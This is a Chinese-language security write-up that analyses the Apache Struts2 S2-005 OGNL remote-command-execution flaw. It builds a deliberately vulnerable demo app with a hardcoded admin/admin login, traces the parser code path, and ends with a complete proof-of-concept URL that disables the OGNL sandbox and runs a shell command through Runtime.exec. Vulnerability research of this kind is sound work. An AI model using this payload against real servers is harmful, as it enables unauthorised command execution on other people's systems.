*本文原创作者:水清云影,本文属FreeBuf原创奖励计划,未经许可禁止转载
官方链接: https://cwiki.apache.org/confluence/display/WW/S2-005
官方概述:XWork ParameterInterceptors bypass allows remote command execution
影响版本:Struts 2.0.0 – Struts 2.1.8.1
修复摘要:Developers should immediately upgrade to Struts 2.2.1 or read the following solution instructions carefully for a configuration change to mitigate the vulnerability
S2-005和S2-003的原理是类似的,因为官方在修补S2-003不全面,导致用户可以绕过官方的安全配置(禁止静态方法调用和类方法执行),再次造成的漏洞,可以说是升级版的S2-005是升级版的S2-003。
下载 Struts2.0.11.2: http://archive.apache.org/dist/struts/binaries/struts-2.1.8.1-all.zip
目录结构
commons-fileupload-1.2.1.jar commons-logging-1.0.4.jar freemarker-2.3.15.jar ognl-2.7.3.jar struts2-core-2.1.8.1.jar xwork-2.0.5.jar
<%@ page language="java" contentType="text/html; charset=UTF-8"
pageEncoding="UTF-8"%>
<%@ taglib prefix="s" uri="/struts-tags" %>
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>S2-005</title>
</head>
<body>
<h2>S2-005 Demo</h2>
<p>link: <a href="https://cwiki.apache.org/confluence/display/WW/S2-005">https://cwiki.apache.org/confluence/display/WW/S2-005</a></p>
<s:form action="login">
<s:textfield name="username" label="username" />
<s:textfield name="password" label="password" />
<s:submit></s:submit>
</s:form>
</body>
</html>
<%@ page language="java" contentType="text/html; charset=UTF-8"
pageEncoding="UTF-8"%>
<%@ taglib prefix="s" uri="/struts-tags" %>
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>S2-005</title>
</head>
<body>
<p>Hello <s:property value="username"></s:property></p>
</body>
</html>
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE struts PUBLIC
"-//Apache Software Foundation//DTD Struts Configuration 2.0//EN"
"http://struts.apache.org/dtds/struts-2.0.dtd">
<struts>
<package name="S2-005" extends="struts-default">
<action name="login" class="com.demo.action.LoginAction">
<result name="success">welcome.jsp</result>
<result name="error">index.jsp</result>
</action>
</package>
</struts>
package com.demo.action;
import com.opensymphony.xwork2.ActionSupport;
public class LoginAction extends ActionSupport {
private String username = null;
private String password = null;
public String getUsername() {
return this.username;
}
public String getPassword() {
return this.password;
}
public void setUsername(String username) {
this.username = username;
}
public void setPassword(String password) {
this.password = password;
}
public String execute() throws Exception {
if ((this.username.isEmpty()) || (this.password.isEmpty())) {
return "error";
}
if ((this.username.equalsIgnoreCase("admin"))
&& (this.password.equals("admin"))) {
return "success";
}
return "error";
}
}
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://xmlns.jcp.org/xml/ns/javaee" xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_3_1.xsd" id="WebApp_ID" version="3.1">
<display-name>S2-005 Example</display-name>
<filter>
<filter-name>struts2</filter-name>
<filter-class>org.apache.struts2.dispatcher.FilterDispatcher</filter-class>
</filter>
<filter-mapping>
<filter-name>struts2</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>
<welcome-file-list>
<welcome-file>index.jsp</welcome-file>
</welcome-file-list>
</web-app>
首先我们来看看官方是如何修补的S2-003呢?它是新出了一个沙盒机制,默认禁止了静态方法的调用( allowStaticMethodAcces 和 MethodAccessor.denyMethodExecution )
所以我们可以利用OGNL先把沙盒关闭掉,就又可以执行命令了。
xwork.MethodAccessor.denyMethodExecution 设置为false allowStaticMethodAccess 设置为true
这样就可以关闭掉沙盒机制,unicode编码仍然还是可以的, /u0023 会被解析成 # ,POC还是原来的POC,只不过加上了上面的两个设置,接下来我们可以看看具体漏洞分析的过程
这里还是在 Tomcat6 环境下进行分析。
和S2-003大体相同,在 xwork-core-2.1.16.jar!com/opensymphony/xwork2/interceptor/ParametersInterceptor 中断点调试
跟进 setParameters ,会进入到 xwork-core-2.1.16.jar!com/opensymphony/xwork2/ognl/OgnlValueStack ,可以看出在Ognl中,值栈(ValueStack)的实现类是OgnlValueStack
发现在里面封装了一个 setValue 类,跟入ognlUtil.setValue,会进入到 xwork-core-2.1.16.jar!com/opensymphony/xwork2/ognl/OgnlUtil 中,这里又封装了一遍 setValue 类,最终调用了Ognl中的setValue方法
可以看到其中的 compile 方法,会将传来的字符串进行解析,而name值就是我们传递过来的参数值,跟进 compile 方法
跟进 parseExpression ,这里从 topLevelExpression 开始对语法书进行解析,进入到 ognl-2.7.3.jar!ognl/OgnlParser 中的 expression() 进行解析,可以看到,最后将结果保存到值栈中, /u0023 被解析成 #
然后将解析的结果return回去
http://localhost:1111/login.action?(‘/u0023context[/'xwork.MethodAccessor.denyMethodExecution/']/u003dfalse’)(bla)(bla)&(‘/u0023_memberAccess.allowStaticMethodAccess/u003dtrue’)(bla)(bla)&(‘/u0023_memberAccess.excludeProperties/ [email protected] @EMPTY_SET’)(kxlzx)(kxlzx)&(‘/u0023mycmd/u003d/’ifconfig/”)(bla)(bla)&(‘/u0023myret/ [email protected] @getRuntime().exec(/u0023mycmd)’)(bla)(bla)&(A)((‘/u0023mydat/u003dnew/40java.io.DataInputStream(/u0023myret.getInputStream())’)(bla))&(B)((‘/u0023myres/u003dnew/40byte[51020]‘)(bla))&(C)((‘/u0023mydat.readFully(/u0023myres)’)(bla))&(D)((‘/u0023mystr/u003dnew/40java.lang.String(/u0023myres)’)(bla))&(‘/u0023myout/ [email protected] @getResponse()’)(bla)(bla)&(E)((‘/u0023myout.getWriter().println(/u0023mystr)’)(bla ))
https://cwiki.apache.org/confluence/display/WW/S2-005
https://blog.csdn.net/u011721501/article/details/41626959
https://xz.aliyun.com/t/2323
*本文原创作者:水清云影,本文属FreeBuf原创奖励计划,未经许可禁止转载